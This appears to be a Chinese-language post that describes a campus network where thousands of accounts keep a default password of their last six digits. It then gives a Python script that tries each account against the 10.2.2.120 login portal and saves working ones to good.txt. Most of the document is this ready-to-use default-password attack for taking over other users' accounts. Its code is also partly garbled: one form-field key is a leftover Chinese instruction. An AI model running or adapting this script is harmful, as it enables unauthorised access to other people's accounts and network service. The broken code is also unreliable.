有一组校园网账号约几千个,默认密码账号后6位,登录地址10.2.2.120,
账号储存在user.txt中,密码是账号的后6位,账号一共18位数字。
登录地址是10.2.2.120,登录该地址后,需要在id为username的输入框中输入账号,在id="pwd"的输入框输入 密码,然后在id="selectDisname"的选项中选择中国电信或者中国联通(一共两个选项),最后点击id="loginLink_div"的div按钮登录。当登录成功时,遍历下一个,把可以登录的账号存在good.txt中
import requests
from bs4 import BeautifulSoup
# 读取账号文件
with open('user.txt', 'r') as f:
accounts = f.readlines()
# 登录地址和登录所需参数
login_url = 'http://10.2.2.120'
login_payload = {
'username': '',
'密码的英文单词把括号和中文删除(password)': '',
'selectDisname': ''
}
# 遍历账号进行测试
while len(accounts) > 0:
account = accounts[0].strip()
# 构造登录参数
login_payload['username'] = account
login_payload['password'] = account[-6:]
login_payload['selectDisname'] = '中国电信' # 可以根据实际情况修改选择的运营商
# 发送登录请求
session = requests.Session()
response = session.post(login_url, data=login_payload)
# 检查登录是否成功
soup = BeautifulSoup(response.text, 'html.parser')
error_div = soup.find('div', {'id': 'errorDiv'})
if error_div is None:
print(f"账号 {account} 登录成功")
# 点击下线按钮
logout_url = 'http://10.2.2.120:801/eportal/?c=Portal&a=logout'
response = session.get(logout_url)
# 将登录成功的账号保存到文件
with open('good.txt', 'a') as f:
f.write(account + '\n')
else:
print(f"账号 {account} 登录失败")
# 删除当前测试的账号,然后测试下一个账号
accounts.pop(0)
with open('user.txt', 'w') as f:
f.writelines(accounts)